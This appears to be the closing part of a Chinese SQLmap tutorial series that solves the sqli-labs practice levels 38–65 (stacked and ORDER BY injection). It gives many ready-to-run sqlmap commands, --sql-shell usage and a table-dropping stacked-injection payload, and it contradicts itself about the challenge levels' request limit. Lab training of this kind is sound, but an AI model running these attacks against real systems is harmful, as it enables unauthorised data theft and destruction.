摘要:这是系列终章。我们将面对 sqli-labs 的最后三大板块:堆叠注入(Less-38~45),可以让你执行多条 SQL 甚至获得交互式 Shell;ORDER BY 注入(Less-46~53),注入点从 WHERE 子句转移到排序操作;以及挑战关卡(Less-54~65),随机库名表名并限制请求次数。我们将用 SQLmap 的、--sql-shell、--union-cols、--technique等参数一一通关。
一、堆叠注入:Less-38 ~ Less-45
1.1 堆叠注入原理
当后端使用mysqli_multi_query()等支持多语句的函数时,我们可以一次请求执行多条 SQL,例如id=1'; DROP TABLE users; --+。SQLmap 不仅能检测到它,还能利用它进行更深层次的操作。
1.2 Less-38 基本利用
sqlmap -u "http://192.168.137.1/sqli-labs/Less-38/?id=1" --batch --dbs1.3 进入 SQL Shell
一旦确认堆叠注入存在,可以直接获取一个交互式 SQL 命令行:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-38/?id=1" --sql-shell你将看到sql-shell>提示,输入任意 SQL 语句即可执行,如SELECT * FROM users;。这相当于拥有了一个远程数据库客户端。
1.4 Less-39 ~ Less-45
这些关卡都是堆叠注入的不同闭合或盲注版本:
Less-39(数字堆叠):
sqlmap -u "http://.../Less-39/?id=1" --batch --dbsLess-40(堆叠盲注):使用默认。
Less-41 至 Less-45 基本同上,可使用
-data处理 POST 型。
sqlmap -u "http://192.168.137.1/sqli-labs/Less-39/?id=1" --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-40/?id=1" --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-41/?id=1" --batch --dbssqlmap -u "http://192.168.137.1/sqli-labs/Less-42/login.php" --data="login_user=admin&login_password=admin&submit=Submit" -p login_password --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-43/login.php" --data="login_user=admin&login_password=admin&submit=Submit" -p login_password --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-44/login.php" --data="login_user=admin&login_password=admin&submit=Submit" -p login_password --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-45/login.php" --data="login_user=admin&login_password=admin&submit=Submit" -p login_password --batch --dbs二、ORDER BY 注入:Less-46 ~ Less-53
2.1 注入点变化
这些关卡的注入点位于ORDER BY子句后,例如?sort=1。此时联合查询不可用,只能使用报错注入或盲注。
2.2 SQLmap 的自动应对
SQLmap 支持 ORDER BY 注入,只需像平常一样指定参数:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-46/?sort=1" --batch --dbs它会自动测试并识别为 error-based 或 blind。
2.3 关卡具体操作
Less-46:数字型,直接
--dbs。Less-47:单引号字符串型,URL 中可写成
?sort=1'以提示工具,但不加也可自动识别。Less-48:数字布尔盲注,
--technique B加速。Less-49:字符串时间盲注,
--technique T --time-sec 2。Less-50~53:结合了堆叠。
sqlmap -u "http://192.168.137.1/sqli-labs/Less-47/?sort=1" --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-48/?sort=1" --batch --dbs --technique B sqlmap -u "http://192.168.137.1/sqli-labs/Less-49/?sort=1" --batch --dbs --technique T --time-sec 2 sqlmap -u "http://192.168.137.1/sqli-labs/Less-50/?sort=1" --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-51/?sort=1" --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-52/?sort=1" --batch --dbs sqlmap -u "http://192.168.137.1/sqli-labs/Less-53/?sort=1" --batch --dbs三、终极挑战关卡:Less-54 ~ Less-65
3.1 挑战模式特点
数据库名、表名、列名随机生成。
限制尝试次数(约 130 次,SQLmap 够用)。
分为三组:联合查询挑战(54~57)、报错注入挑战(58~61)、盲注挑战(62~65)。
几乎无法用 sqlmap 通过,超限是硬伤。
3.2 联合查询挑战(Less-54~57)
这些关卡与前面类似,只是库表名随机。我们需要先获取库名,再获取表和数据。此处略,手注请看上个系列。
3.3 报错注入挑战(Less-58~61)
与联合查询类似,此处略,手注请看上个系列。
3.4 盲注挑战(Less-62~65)
盲注挑战最耗请求,需精细优化。此处略,手注请看上个系列。
四、总结:从工具使用者到思维驾驭者
亲爱的朋友,从第一篇的 SQLmap 起源,到如今你亲手推平全部 65 关,你走过的是一条从“照猫画虎”到“了然于胸”的成长之路。你不仅记住了--dbs、--tamper、--level这些命令,更重要的是,你学会了分析注入上下文、选择合适技术、组合脚本绕过防御。手工注入让你懂得原理,SQLmap 让你拥有效率。
最后的叮嘱: sqli-labs 的终点,是你实战生涯的起点。在真实的渗透测试中,你面对的将是更复杂的过滤、更隐蔽的注入点、更严苛的环境。但请相信,你在这里磨练出的“注入感”,将是你最坚实的铠甲。永远保持好奇,永远不要停止思考“为什么这个 Payload 能工作”。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
长路漫漫,唯剑作伴。愿你在安全的江湖里,既能仰仗利剑之锋,也不忘磨剑之人的匠心。